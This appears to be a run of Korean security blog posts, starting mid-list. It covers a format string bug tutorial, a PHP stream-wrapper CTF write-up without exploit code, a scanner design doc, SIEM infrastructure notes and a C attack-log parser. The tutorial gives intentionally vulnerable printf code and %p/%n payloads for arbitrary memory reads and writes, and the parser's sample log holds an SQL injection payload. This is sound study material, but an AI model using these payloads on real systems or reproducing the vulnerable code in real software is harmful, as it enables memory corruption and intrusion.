2. %n$...의 n은 글자 개수가 아니라 printf가 참조하는 인자 슬롯 인덱스다
3. 오프셋은 계산으로 깔끔히 안 떨어지는 경우가 많고 %p 스캔으로 실측하는 게 제일 안정적이다

1. 포맷 스트링이 뭔지

포맷 스트링은 printf 계열 함수가 문자열을 출력할 때 해석하는 규칙이다

대표적으로 이런 패턴이 있다

printf("num=%d\n", x);

여기서 %d 같은 토큰이 specifier다
printf는 specifier를 만나면 그에 맞는 인자를 꺼내서 출력한다

2. 포맷 스트링 문법에서 진짜 중요한 두 개

전체 문법은 복잡해도 FSB에서 중요한 건 두 개만 잡으면 된다

2.1 parameter

%n$... 형태에서 n이 parameter다
이건 참조할 인자의 인덱스를 의미한다

예를 들어 아래 코드는 인자 순서를 바꿔서 출력한다

// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c
#include <stdio.h>

int main() {
  printf("%2$d, %1$d\n", 2, 1);
  return 0;
}

중요한 포인트는 여기다
parameter 값이 전달된 인자 개수 범위를 넘어가도 printf가 막아주지 않는다는 점이다
인자가 1개뿐이어도 %20$p 같은 걸로 스택 어딘가를 억지로 읽게 만들 수 있다

2.2 specifier

FSB에서 제일 많이 쓰는 specifier는 이 네 개다

3. 왜 인자를 안 줬는데도 값이 출력되냐

취약 코드의 정석은 이거다

scanf("%s", format);
printf(format);

printf는 포맷을 해석하면서 추가 인자를 읽으려고 한다
근데 호출자가 인자를 안 줬어도 포맷이 요구하면 그냥 읽어버린다
표준 관점에서는 정의되지 않은 동작인데 실습 환경에서는 보통 값이 그대로 새어나온다

4. 레지스터와 스택 읽기

4.1 예제 코드

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>

int main() {
  char format[0x100];
  printf("Format: ");
  scanf("%s", format);
  printf(format);
  return 0;
}

입력으로 %p를 여러 개 던지면 값이 줄줄 나온다

$ ./fsb_stack_read
Format: %p.%p.%p.%p.%p.%p.%p.%p
0xa.(nil).0x7f....(nil).0x55....0x7025....0x2520....0x2070....

이걸 보고 처음엔 진짜 어이가 없다
인자를 안 줬는데 왜 나오냐
답은 printf가 인자 개수를 제대로 확인해주지 않고 인자 슬롯을 계속 참조하려 하기 때문이다

5. x86 64에서 7번째부터 스택이라는 말의 의미

리눅스 x86 64 SysV 기준으로 포인터와 정수 인자는 이렇게 전달된다

그래서 %7$... 같은 말이 자주 나온다
다만 여기서 착각하면 안 되는 게 있다

%7$...의 7은
내가 입력한 문자열 길이랑 아무 상관이 없다
오직 인자 슬롯 인덱스다

6. 임의 주소 읽기 AAR

%s는 포인터 따라가서 문자열을 찍는다
그래서 스택 어디든 포인터 값이 있으면 그걸 따라가서 읽을 수 있다

6.1 스택에 이미 포인터가 있을 때

// Name: fsb_aar_example.c
// Compile: gcc -o fsb_aar_example fsb_aar_example.c
#include <stdio.h>

char *secret = "THIS IS SECRET";

int main() {
  char *addr = secret;
  char format[0x100];

  printf("Format: ");
  scanf("%s", format);
  printf(format);
  return 0;
}

addr가 스택에 들어있고
그 슬롯이 %n$s에 걸리면 secret 문자열이 출력된다

여기서 내가 헷갈렸던 지점이 있다
main 디스어셈에서 addr이 rsp+8처럼 보이는데
왜 어떤 예제는 %7$s고 어떤 예제는 %8$s거나 %10$s냐

결론은 간단하다
오프셋은 환경과 호출 시점에 따라 달라질 수 있고
결국 실측으로 확정하는 게 안전하다

6.2 입력 버퍼에 주소를 심어서 읽기

스택에 우연히 포인터가 있을 필요 없이
내가 원하는 주소를 입력 버퍼 끝에 8바이트로 붙여서 심는 방식도 있다

// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>

const char *secret = "THIS IS SECRET";

int main() {
  char format[0x100];

  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%s", format);
  printf(format);

  return 0;
}

이 구조에서는 포맷스트링 뒤에 secret 주소를 붙이고
%n$s로 그 슬롯을 포인터로 해석하게 만들면 된다

패딩으로 aaaa를 붙이는 이유도 여기서 나온다
주소 8바이트가 qword 경계에 딱 올라가게 길이를 맞추는 용도다
출력에서 어디까지가 문자열 결과인지 구분하는 표식 역할도 한다

7. 임의 주소 쓰기 AAW

%n은 출력한 글자 수를 메모리에 기록한다
이게 곧 쓰기 primitive다

7.1 기본 예제

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>

int secret;

int main() {
  char format[0x100];

  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%s", format);
  printf(format);

  printf("Secret: %d\n", secret);
  return 0;
}

원리는 이거다
1 %31337c로 출력 글자 수를 31337로 만든다
2 %n으로 그 값을 secret에 써버린다

실제로는 %n을 바로 쓰기보다 %hn이나 %hhn을 자주 쓴다
큰 값을 한 번에 만들기 부담스럽기 때문이다

7.2 2바이트 1바이트로 쪼개기

8. 0xdeadbeef 같은 값 쓰기 흐름

바이트 단위 %hhn로 쓰는 게 가장 직관적이다
중요한 건 출력 글자 수가 누적이라서 보통 오름차순으로 맞춘다는 점이다

0xdeadbeef를 바이트로 보면
ad be de ef 순서로 출력량을 맞춰가며 써서 안정적으로 맞춘다

이때 주소도 4개가 필요하다
secret
secret+1
secret+2
secret+3
이걸 입력 끝에 8바이트씩 연속으로 붙인다

그리고 %14$hhn %15$hhn 같은 인덱스가 나오는데
이 숫자 자체가 핵심은 아니다
오프셋을 실측해서 맞추는 게 핵심이다

9. 내가 제일 오래 막힌 부분 오프셋 실측

여기가 FSB의 심장이다

결론부터 말하면
오프셋은 계산으로 끝내려 하지 말고 실측하는 게 마음 편하다

9.1 실측 루틴

1 입력 끝에 마커 8바이트를 붙인다
예를 들어 0x4141414142424242 같은 값이다

2 %1$p부터 %K$p까지 찍는다
공백은 입력 함수가 끊을 수 있으니 구분자는 점이 편하다

예시

%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p

3 출력에서 마커가 찍히는 번호가 곧 오프셋이다
그 번호가 11이면
%11$s로 읽고
%11$n %11$hn %11$hhn로 쓸 수 있다

9.2 왜 어떤 환경은 10이고 어떤 환경은 14냐

이건 흔한 착각 포인트다
main에서 본 rsp 오프셋이랑
printf가 참조하는 인자 슬롯 인덱스는 1대1로 고정되지 않는 경우가 많다

컴파일 옵션
스택 정렬
호출 시점
입력 함수
이런 변수들이 섞인다

그래서 실측이 정석이다

10. 패딩 A 7개 같은 디테일이 왜 나오냐

이건 스택 정렬 그 자체보다
주소 8바이트가 시작하는 위치를 qword 경계로 맞추기 위한 길이 조절이다

예를 들어 %64c%10$n이 9바이트면
주소를 16바이트 경계에 시작시키고 싶다
그래서 7바이트 패딩을 넣어 총 16바이트로 만든다

이러면 뒤에 붙은 주소가 8바이트 단위로 깔끔하게 읽힌다

11. 핵심 정리 표

마치며

FSB는 한 번 감 잡으면 꽤 단순해진다
근데 감 잡기 전까지는 오프셋 때문에 계속 발목 잡힌다

내 결론은 이거다
오프셋은 실측 루틴을 손에 익히는 게 제일 중요하다
%p 스캔 + 마커만 제대로 하면
왜 10인지 11인지 14인지로 더 이상 시간 안 날리게 된다

출처: DreamHack Wargame – Jukebox
유형: Web / PHP
공개 범위: 반(半) 풀이 + 취약점 로직 분석
플래그, 익스플로잇 코드 미포함

3줄 요약

1. URL 검증이 허술한 file_get_contents() 사용으로 PHP Stream Wrapper 악용 가능했다
2. 단순 문자열 필터를 우회할 수 있는 인코딩 계열 필터 체인이 핵심이었다
3. 결과 포맷(JSON) 제약 조건이 오히려 공격 난이도를 올리는 장치였다

시작하며…

이 문제는 처음 봤을 때 되게 단순해 보였다.
URL 하나 받아서 노래 정보 가져오는 웹앱이다.
근데 이런 문제들, 경험상 절대 단순하지 않다.

회사 포트폴리오로 쓸 거라서,
“어떻게 뚫었냐” 보다는 왜 취약했고, 어떤 구조적 문제가 있었는지에 집중해서 정리했다.

서비스 구조 간단 정리

서버는 사용자가 입력한 URL을 그대로 가져와서,
그 응답이 JSON이면 각 필드를 화면에 출력하는 구조다.

취약점 개념: PHP Stream Wrapper

이게 왜 위험하냐?

PHP에는 Stream Wrapper라는 개념이 있다.
파일, 네트워크, 필터를 전부 URL처럼 다루는 기능이다.

대표적인 예시는 이거다.

문제는 이 서비스가
URL에 http:// 또는 https://만 포함되면 통과시키는 식으로 검증하고 있었다는 점이다.

이 말은 곧,
php://filter 같은 래퍼도 우회적으로 쓸 수 있다는 얘기다.

첫 시도와 막힌 지점

1차 접근

• 로컬 파일을 읽을 수 있는지 테스트
• 응답 자체는 서버에서 가져오는 게 맞아 보였다

그런데 문제 발생

• 특정 문자열이 포함되면 응답이 차단됨
• 결과가 JSON 형태가 아니면 화면에 출력도 안 됨

정리하면 제약이 이렇다.

이때 좀 짜증났다.
단순 LFI 문제가 아니었다.

문제의 핵심 원인

1. 잘못된 URL 검증

• scheme 전체를 파싱하지 않음
• 단순 문자열 포함 여부로만 검사
• Stream Wrapper 개념을 고려 안 함

2. 보안 필터의 한계

• 문자열 기준 차단
• 인코딩, 변형, 중간 표현에 취약
• “의미”가 아니라 “표현”만 막고 있음

3. 출력 로직의 신뢰

• 서버가 가져온 JSON을 그대로 신뢰
• 값이 어떻게 만들어졌는지 검증 없음

이 세 개가 합쳐져서 문제가 커졌다.

공격 시나리오 개념 정리 (코드 없음)

전체 흐름은 이렇다.

[사용자 입력]
      |
      v
[file_get_contents()]
      |
      v
[Stream Filter Chain]
      |
      v
[JSON 형태로 재구성]
      |
      v
[프론트엔드 렌더링]

핵심은 데이터를 직접 보여주지 않아도 된다는 점이다.
서버가 “정상 데이터”라고 믿고 화면에 뿌리게 만들면 끝이다.

왜 필터 체인이 중요한가

단일 인코딩은 쉽게 막힌다.
하지만 여러 필터를 체인으로 연결하면 이야기가 달라진다.

이 문제는
단순 문자열 차단 + 출력 구조 신뢰 조합의 전형적인 실패 사례다.

추가로 해본 생각

• 이 구조, 실서비스에서도 종종 본다
• “외부 API 가져오기” 기능에서 자주 터진다
• JSON 검증한다고 안전해지는 거 절대 아니다

실무라면 최소한 이건 했어야 한다.

핵심 교훈

이 문제는 기교보다 개념 싸움이었다.
원리를 알면 풀리고, 모르고 있으면 계속 삽질하게 된다.

마치며

이 문제 풀면서 느낀 건 하나다.
“이거 옛날 기법 아니냐?” 싶어도,
지금도 그대로 죽는 서비스 많다.

포트폴리오용으로는

• PHP 기본기
• 웹 입력 검증
• 필터 우회 사고력

이 세 개를 같이 보여주기 좋은 문제였다.

3줄 요약

1. 기존 s2n 구조는 플러그인 확장에 최적화된 구조다.
2. 정적 분석 + 포트 서비스 버전 분석 + CVE 연계가 핵심 차별점이다.
3. 단순 스캐너가 아니라 보안 분석 도우미로 확장하는 게 목표다.

시작하며

요즘 보안 스캐너들 보면 기능은 많은데 정작 왜 취약한지 설명이 빈약하다.
그래서 아예 처음부터 생각을 바꿨다.

“이 포트에서 이 서비스가 이 버전으로 돌아가고 있고,
이 코드 구조라서 이 취약점이 가능하다”
여기까지 한 번에 보여주면 어떨까 싶었다.

이 문서는 그 고민을 정리한 설계 문서다.

전체 구조 개요

이 프로젝트의 방향성은 다음과 같다.

[Target]
   |
   v
[Port Scan]
   |
   v
[Service Fingerprinting]
   |
   v
[Static Analysis]
   |
   v
[CVE / Vulnerability DB Matching]
   |
   v
[Why 취약한지 + 방어 방법 리포트]

핵심은 각 단계가 느슨하게 결합된 플러그인 구조라는 점이다.
그래서 기능 추가가 부담이 없다.

1. 정적 분석 기능이 필요한 이유

동적 스캐닝만으로는 한계가 명확하다.

그래서 정적 분석을 붙이려는 거다.

정적 분석은 다음을 가능하게 한다.

• 코드 흐름 파악
• 위험한 함수 사용 여부 확인
• 설정 파일 기반 취약점 탐지

즉, 왜 가능한지를 설명할 수 있다.

2. GitHub 코드 구조 분석 방식

이 프로젝트는 GitHub 레포를 직접 분석 대상으로 삼는다.

분석 포인트

• 디렉터리 구조
• 프레임워크 추정
• 언어별 위험 함수 패턴

예시 구조 판단

/src
 ├── controllers
 ├── routes
 ├── services
 └── config

이 구조라면 MVC 패턴 기반 웹 서비스라고 판단할 수 있다.
그 다음부터는 프레임워크별 룰을 적용한다.

3. 플러그인 방식 설계

기본 철학은 이거다.

기능 추가 = 플러그인 하나 추가

플러그인 인터페이스 예시

class PluginBase:
    name = "base"

    def match(self, context):
        return False

    def analyze(self, context):
        return []

각 플러그인은

• 언제 실행될지
• 무엇을 검사할지
• 무엇을 리턴할지

이 세 가지만 신경 쓰면 된다.

4. 포트 서비스 + 버전 분석

포트는 그냥 숫자가 아니다.
서비스 + 버전 정보가 진짜 핵심이다.

예시:

80/tcp  -> nginx 1.18.0
3306/tcp -> MySQL 5.7

이 정보가 있으면 바로 다음 단계로 간다.

5. CVE DB 연계 방식

데이터 소스

• NVD (JSON)
• Exploit-DB
• GitHub Advisory

저장 구조 예시

주기적으로 업데이트되도록 크론 잡으로 동기화한다.

6. 왜 취약한지 설명하는 리포트

이 프로젝트의 가장 중요한 부분이다.

출력 예시

• 현재 서비스: nginx 1.18.0
• 해당 버전 취약점: CVE-2021-23017
• 원인: 특정 요청 처리 로직에서 버퍼 검증 미흡
• 공격 가능성: RCE 가능
• 방어 방법:
  • nginx 업그레이드
  • request size 제한 설정

단순 경고가 아니라 이해 가능한 설명을 목표로 한다.

7. 차별점 정리

마치며

아직 완성된 도구는 아니다.
솔직히 말하면 기능도 부족하다.

하지만 방향성은 명확하다.
단순히 “취약하다”를 말하는 도구가 아니라
“왜 취약한지 이해시키는 도구”를 만들고 싶다.

앞으로는

• 탐지 정확도 개선
• 더 많은 언어 지원
• 정적 분석 룰 고도화

이런 방향으로 계속 발전시킬 생각이다.
갈 길은 멀지만, 이 구조라면 충분히 확장 가능하다고 본다.

1. 오늘의 목표 및 성과

🔸 목표

• SIEM 실습 인프라의 운영·보안 설계 결정
• 로그 보관/정리 전략 수립
• LLM·SOAR 확장 전 구현 범위 명확화

🔸 완료한 작업

황준하

• OpenSearch ↔ ECS(Logstash) 인증 방식 결정
• S3 기반 로그 보관 전략 설계
• 인덱스 네이밍 및 ISM 정책 구조화
• 프로젝트 보안 설계 트레이드오프 문서화

2. 핵심 논의 사항

오늘 회의의 핵심은 SIEM 실습 인프라를 어떻게 안전하면서도 실용적으로 구축할 것인가였다. 특히 세 가지 큰 주제가 있었다.

1. OpenSearch 인증을 어떻게 관리할 것인가
2. 로그를 어디에 어떻게 저장할 것인가
3. 인덱스는 어떻게 네이밍하고 관리할 것인가

3. OpenSearch 인증 방식 결정

문제 상황

처음엔 단순하게 생각했다. "IAM으로 하면 되겠지?"

그런데 OpenSearch가 생성 시점에 관리자 비밀번호를 무조건 요구한다. Terraform으로 랜덤 비밀번호를 생성하면 terraform.tfstate 파일에 평문으로 남는다는 게 문제였다.

고민한 선택지들

선택지 A: Terraform으로 비밀번호 생성 + Secrets Manager 저장

Terraform random_password 생성
  ↓
OpenSearch 생성 시 사용
  ↓
Secrets Manager에 저장
  ↓
ECS(Logstash)는 Secrets Manager 참조

장점: 구조가 단순하다 단점: state 파일에 비밀번호가 평문으로 남는다

선택지 B: OpenSearch를 bootstrap 영역으로 분리

장점: 구조적으로 깔끔하다 단점: 실습 환경에서 관리 복잡도가 과도하게 올라간다

최종 결정

선택지 A를 채택했다.

이유는 간단하다. 이번 프로젝트는 실습 + 포트폴리오용이다. 완벽한 보안보다는 트레이드오프를 이해하고 설명할 수 있는 능력이 더 중요하다.

실무에서도 OpenSearch 초기 비밀번호를 IaC로 관리하는 경우가 많다. 중요한 건 state 파일 자체를 어떻게 보호하느냐다.

보안 통제 계층

1차 방어: S3 Backend 암호화 (AES-256) + Versioning
2차 방어: DynamoDB Lock (동시성 제어)
3차 방어: IAM 기반 State 접근 통제
4차 방어: S3 Bucket Policy 제한

이 정도면 state 파일이 쉽게 노출되지 않는다. 완벽하진 않지만 합리적인 선택이다.

4. IAM vs Secret 인증 비교

팀 내에서 "IAM이 더 낫다"는 의견이 나왔다. 실제로 맞는 말이다.

Secret 기반 인증의 한계

비밀번호는 결국 비밀값 자체가 공격 표면이다.

• rotation 필요
• 유출 대응 필요
• 접근 통제 추가로 필요
• 로그나 디버깅 과정에서 노출 위험

IAM 기반 접근이 우수한 이유

IAM은 자격 증명 자체가 존재하지 않는다.

• AWS STS 기반 단기 토큰
• 권한은 정책으로만 통제
• rotation, 폐기, 감사가 자동화
• 비밀값 관리 부담 제로

현실적 제약

그런데 OpenSearch Dashboards와 REST API는 기본적으로 Basic Auth가 필요하다. Logstash 플러그인도 IAM SigV4 지원이 불안정하다.

결론: 현 단계에서는 IAM + Secret 혼합 구조를 허용한다.

나중에 Kinesis Data Firehose 같은 AWS 관리형 서비스로 전환하면 완전 IAM 기반으로 갈 수 있다.

5. 로그 보관 전략

핵심 철학

OpenSearch는 분석용 시스템이다.
S3는 신뢰 가능한 원본 저장소다.

OpenSearch에 로그를 영구 보관하는 건 비효율적이다. 비용도 많이 들고, 인덱스 삭제하면 로그가 영구 손실된다.

따라서 이중화 구조를 설계했다.

S3 버킷 분리 전략

Bucket 1: siem-raw-logs-bucket (원본 보관)

CloudWatch Logs
  ↓
Kinesis Data Streams
  ↓
Firehose
  ↓
S3 (Raw)

• 가공 전 원시 로그
• 재처리, 포렌식, 재학습 용도
• Source of Truth 역할

Bucket 2: siem-normalized-logs-bucket (정제 로그)

S3 (Raw)
  ↓
Lambda (파싱/정규화)
  ↓
S3 (Normalized) + OpenSearch

• Lambda로 파싱/정규화한 로그
• OpenSearch 인덱스 구조와 동일
• OpenSearch 장애 시 재적재 가능

왜 이렇게 나눴냐?

원본 로그는 절대 건드리면 안 된다. 나중에 "이 로그 다시 파싱해야 하는데?" 하는 상황이 생길 수 있다.

정규화된 로그는 OpenSearch에 바로 넣을 수 있는 형태다. OpenSearch가 터지거나 인덱스를 잘못 지워도 S3에서 다시 복구할 수 있다.

6. 인덱스 네이밍 전략

표준 형식

{system}-{domain}-{purpose}-{env}-{YYYY.MM.DD}

실제 예시

구성 요소 설명

왜 이렇게 정했냐?

1. ISM 정책 패턴 매칭이 쉽다
2. 시간 기반 쿼리가 최적화된다
3. 로그 타입별로 독립적으로 관리할 수 있다

예를 들어 공격 로그만 따로 30일 이후 삭제하고, 접근 로그는 90일까지 보관하는 식으로 정책을 다르게 가져갈 수 있다.

7. ISM 정책 설계

ISM이 뭔가?

Index State Management의 약자다. OpenSearch 인덱스의 라이프사이클을 자동으로 관리해주는 기능이다.

간단하게 말하면 "30일 지난 인덱스는 자동으로 삭제해줘" 이런 걸 설정할 수 있다.

실습 환경용 정책

{
  "policy": {
    "description": "SIEM 실습용 로그 라이프사이클",
    "default_state": "hot",
    "states": [
      {
        "name": "hot",
        "actions": [],
        "transitions": [
          {
            "state_name": "delete",
            "conditions": {
              "min_index_age": "30d"
            }
          }
        ]
      },
      {
        "name": "delete",
        "actions": [
          {
            "snapshot": {
              "repository": "s3-snapshot-repo",
              "snapshot": "siem-snapshot-${index}"
            }
          },
          {
            "delete": {}
          }
        ]
      }
    ]
  }
}

동작 흐름

인덱스 생성
  ↓
Hot 상태 (0~30일)
  → 실시간 분석
  → Alert 생성
  → Dashboard 조회
  ↓
30일 경과
  ↓
Delete 상태
  → S3 Snapshot 생성
  → 인덱스 삭제

왜 30일로 설정했냐?

실습 환경이라 비용 관리가 중요하다. 30일치 로그면 분석하기에 충분하고, 그 이상은 S3에 보관하면 된다.

실무에서는 Hot → Warm → Cold 구조로 가져가는데, 지금은 그렇게까지 복잡하게 할 필요는 없다.

8. 발생한 문제들

이슈 1: Terraform State 비밀번호 평문 저장

문제: OpenSearch 관리자 비밀번호가 terraform.tfstate에 평문으로 기록된다.

해결 방안

• State Backend S3 암호화 강제 (AES-256)
• IAM 정책으로 State 파일 접근 최소화
• .gitignore에 state 파일 등록
• 문서화: "인지된 리스크"로 명시, 실무 대안 제시

이거 진짜 고민 많이 했다. 완벽한 해결책은 없다. 대신 리스크를 인지하고 완화하는 방향으로 갔다.

이슈 2: Logstash IAM 인증 플러그인 호환성

문제: Logstash OpenSearch output 플러그인의 IAM SigV4 지원이 불안정하다.

조치 계획

• 현 단계: Basic Auth + Secrets Manager 참조로 안정성 확보
• 향후 단계: AWS 관리형 서비스(Kinesis Data Firehose) 전환 검토

플러그인 문서 보면서 삽질 좀 했다. IAM으로 깔끔하게 가고 싶었는데 현실의 벽에 부딪혔다.

이슈 3: 인덱스 증가에 따른 비용 관리

문제: 일 단위 인덱스 생성 시 장기 운영하면 스토리지 비용이 계속 증가한다.

해결 방안

• ISM 정책으로 30일 이후 자동 삭제
• S3 Snapshot을 통한 장기 보관
• Hot/Warm/Cold 아키텍처 추후 도입 검토

9. 배운 점 및 회고

기술적 교훈

완벽한 보안은 없다

처음엔 "IAM으로 100% 깔끔하게 가자"고 생각했다. 그런데 현실은 그렇게 호락호락하지 않더라.

OpenSearch는 생성 시점에 비밀번호가 필요하고, Logstash 플러그인은 IAM을 완벽하게 지원하지 않는다.

중요한 건 트레이드오프를 이해하고 설명할 수 있는 능력이다.

아키텍처는 계층적으로 설계해야 한다

OpenSearch와 S3를 분리한 게 정말 잘한 선택이었다. OpenSearch는 분석용, S3는 보관용으로 역할을 명확히 나눴다.

이렇게 하면 나중에 OpenSearch를 완전히 갈아엎어도 S3에 원본 로그가 있으니까 문제없다.

네이밍은 중요하다

인덱스 네이밍 규칙을 처음부터 제대로 정한 게 큰 도움이 됐다. 나중에 인덱스가 수백 개가 되면 관리가 불가능해진다.

siem-web-attack-dev-2025.12.16 이런 식으로 명확하게 구조화하니까 ISM 정책 적용하기도 쉽고, 쿼리 작성하기도 편하다.

아쉬운 점

IAM 인증을 완전히 구현하지 못한 것

Logstash 플러그인 때문에 Basic Auth를 섞어야 했다. 이게 좀 찝찝하다.

다음 단계에서는 Kinesis Data Firehose로 전환해서 완전 IAM 기반으로 가려고 한다.

테스트 환경 부족

설계는 다 했는데 실제로 구축하고 테스트하는 시간이 부족했다. 내일은 Terraform 코드 작성하고 실제로 배포해봐야겠다.

10. 다음 단계 계획

내일 작업 목표

• Terraform 코드 구조 리팩토링 (모듈 분리)
• S3 버킷 정책 및 Lifecycle 규칙 구현
• Kinesis Data Streams → Firehose → S3 파이프라인 테스트
• OpenSearch 인덱스 템플릿 작성 및 적용
• ISM 정책 실제 적용 및 동작 검증
• 로그 파싱 Lambda 함수 초안 작성

학습 계획

• OpenSearch Index Templates 문서 정독
• Kinesis Data Firehose 변환 Lambda 패턴 연구
• ISM API 활용 방법 실습

특히 Index Templates는 필드 매핑을 표준화하는 데 필수라서 제대로 공부해야겠다.

11. 프로젝트 진행 상황

완료된 작업

• ✅ 인증 방식 의사결정 (Terraform + Secrets Manager)
• ✅ 로그 보관 아키텍처 설계 (이중화 구조)
• ✅ 인덱스 네이밍 규칙 확립
• ✅ ISM 정책 초안 작성

진행 중인 작업

• 🔄 Terraform 인프라 코드 작성
• 🔄 로그 파이프라인 구현
• 🔄 보안 정책 문서화

향후 계획

• 📋 Sigma Rule 기반 위협 탐지
• 📋 LLM 연동 로그 분석 자동화
• 📋 SOAR 워크플로우 설계

12. 참고 자료

공식 문서

• AWS OpenSearch Service 보안 모범 사례
• Terraform AWS Provider - OpenSearch
• OpenSearch ISM 정책 가이드

참고한 프로젝트

• AWS Solutions Library - SIEM on Amazon OpenSearch
• Elastic Security Architecture
• Splunk Enterprise Security

작성자: 황준하 (HoHK)
작성일: 2025-12-16
프로젝트: 2SeC-SIEM (LLM-CTI 통합 보안 분석 시스템)
팀: 2SeC Team (KT Cloud TECH UP Program)

3줄 요약

1. DVWA 공격 로그를 C 파서로 정제해서 LLM 학습용 JSON으로 변환하는 시스템 만들었다
2. Logstash → OpenSearch 인증은 IAM 방식으로 가서 비밀번호 관리 문제 해결했다
3. 단순 SIEM이 아니라 LLM CTI까지 연동되는 전체 파이프라인 구축했다

시작하며

2SeC 팀 프로젝트에서 DVWA 기반 공격 로그를 수집하고 분석하는 SIEM 시스템을 만들었다

단순히 로그 모으는 게 아니라, 이걸 LLM이 학습해서 공격 패턴을 자동으로 분석하는 게 목표였다

그 과정에서 두 가지 큰 고민이 있었다

1. 대용량 로그를 빠르게 처리하려면? → C 기반 파서 개발
2. 안전하게 인증하려면? → IAM 기반 인증 구조

전체 아키텍처

[DVWA 공격 시뮬레이션]
         ↓
    [공격 로그 생성]
    (raw text format)
         ↓
[C 로그 파싱 엔진] ← Part 1
         ↓
    [JSON 변환]
    (구조화된 데이터)
         ↓
     [Logstash]
         ↓  (IAM 인증) ← Part 2
    [OpenSearch]
         ↓
   [LLM CTI 분석]

Part 1: C 기반 로그 정제 시스템

왜 C로 만들었나?

성능이 필요했다

Python으로 10만 줄 로그 파싱하면 약 5~10초 걸린다

C로 만들면 1초 안에 끝난다

실제 측정

# Python 버전
time python3 parser.py attack.log output.json
real    0m8.342s

# C 버전
time ./log_parser attack.log output.json
real    0m0.721s

약 11배 차이 난다

나중에 실시간 로그 처리할 때 이 차이가 크다

메모리 관리가 명확하다

malloc, realloc, free 직접 관리하니까 메모리 누수 걱정 없고

언제 얼마나 메모리 쓰는지 정확히 알 수 있다

실무 환경 고려

실제 회사 가면 고성능 로그 처리 시스템은 대부분 C/C++로 되어 있다

지금 배워두면 나중에 도움된다

핵심 기능

1. 로그 파싱 엔진

공격 로그가 이런 형식으로 들어온다

2025-12-12 10:39:15 | SQL_INJECTION | SUCCESS | ' AND SLEEP(3) | 192.168.1.100 | SESSION_ABC123

이걸 파이프(|) 기준으로 쪼개서 구조체에 담는다

지원하는 공격 타입

공격 타입은 enum으로 관리해서 나중에 switch-case로 처리하기 편하게 만들었다

2. 자동 심각도 계산 로직

단순히 로그만 파싱하는 게 아니라 공격의 위험도를 자동으로 계산한다

심각도 계산 알고리즘

int calculate_severity(LogEntry *entry) {
    int severity = 1;  // 기본 점수

    // 공격 성공 여부로 가중치
    if (entry->success) {
        severity += 3;
    }

    // 공격 유형별 가중치
    switch(entry->attack_type) {
        case ATTACK_SQL_INJECTION:
        case ATTACK_COMMAND_INJECTION:
            severity += 4;  // 시스템 침투 가능한 공격
            break;

        case ATTACK_FILE_INCLUSION:
        case ATTACK_XSS:
            severity += 3;  // 정보 탈취 가능한 공격
            break;

        case ATTACK_CSRF:
        case ATTACK_BRUTE_FORCE:
            severity += 2;  // 상대적으로 낮은 위험도
            break;

        default:
            severity += 1;
    }

    if (severity > 10) severity = 10;  // 최대값 제한
    return severity;
}

점수 기준

왜 이렇게 만들었냐면, 나중에 OpenSearch에서 심각도 기준으로 필터링하거나 알림 보낼 때 유용하기 때문이다

3. 메모리 관리

동적 배열로 로그 엔트리를 관리한다

typedef struct {
    LogEntry *entries;  // 동적 배열
    int count;          // 현재 저장된 개수
    int capacity;       // 현재 배열 크기
} LogCollection;

초기화

LogCollection* init_log_collection(void) {
    LogCollection *collection = malloc(sizeof(LogCollection));
    if (!collection) return NULL;

    collection->capacity = 1000;  // 초기 크기
    collection->count = 0;
    collection->entries = malloc(sizeof(LogEntry) * collection->capacity);

    return collection;
}

초기 capacity를 1000으로 잡았다

테스트해보니 보통 한 번에 1000~5000개 정도 로그가 들어오더라

자동 확장

int add_log_entry(LogCollection *collection, LogEntry *entry) {
    // 꽉 차면 2배로 확장
    if (collection->count >= collection->capacity) {
        collection->capacity *= 2;
        LogEntry *new_entries = realloc(collection->entries,
                                       sizeof(LogEntry) * collection->capacity);
        if (!new_entries) return 0;
        collection->entries = new_entries;
    }

    collection->entries[collection->count++] = *entry;
    return 1;
}

capacity 넘어가면 자동으로 2배씩 늘어난다

realloc 실패하면 0 리턴해서 상위에서 에러 처리하게 만들었다

메모리 해제

void free_log_collection(LogCollection *collection) {
    if (collection) {
        if (collection->entries) {
            free(collection->entries);
        }
        free(collection);
    }
}

NULL 체크 꼭 해야 한다

안 하면 segfault 난다

4. JSON 변환

LLM이 바로 학습할 수 있게 표준화된 JSON 포맷으로 변환한다

입력 로그

2025-12-12 10:39:15 | SQL_INJECTION | SUCCESS | ' AND SLEEP(3) | 192.168.1.100 | SESSION_ABC123

출력 JSON

{
  "timestamp": "2025-12-12 10:39:15",
  "attack_type": "SQL_INJECTION",
  "success": true,
  "payload": "' AND SLEEP(3)",
  "source_ip": "192.168.1.100",
  "session_id": "SESSION_ABC123",
  "severity": 8
}

전체 출력 구조

{
  "total_events": 3,
  "events": [
    {...},
    {...},
    {...}
  ]
}

total_events 필드 넣어서 나중에 로그 개수 확인할 때 편하게 만들었다

5. JSON Escape 처리

페이로드에 특수문자 들어가 있으면 JSON 깨진다

그래서 escape 처리 필수다

void escape_json_string(const char *input, char *output, int max_len) {
    int j = 0;
    for (int i = 0; input[i] && j < max_len - 2; i++) {
        // 큰따옴표와 백슬래시 escape
        if (input[i] == '"' || input[i] == '\\') {
            output[j++] = '\\';
        }
        output[j++] = input[i];
    }
    output[j] = '\0';
}

처리 예시

이거 안 하면 JSON 파싱 실패한다

구현 세부사항

파일 구조

.
├── log_parser.h      # 헤더 파일 (구조체, 함수 선언)
├── log_parser.c      # 핵심 로직 (파싱, 변환)
└── main.c            # 메인 함수 (입출력 처리)

역할 분리 확실히 했다

나중에 라이브러리로 만들 수도 있게

구조체 정의

LogEntry 구조체

typedef struct {
    char timestamp[MAX_TIMESTAMP_LENGTH];       // 32 bytes
    AttackType attack_type;                     // 4 bytes (enum)
    char attack_type_str[MAX_ATTACK_TYPE_LENGTH]; // 64 bytes
    int success;                                 // 4 bytes
    char payload[MAX_PAYLOAD_LENGTH];           // 2048 bytes
    char source_ip[MAX_IP_LENGTH];              // 64 bytes
    char session_id[MAX_SESSION_LENGTH];        // 128 bytes
    int severity;                                // 4 bytes
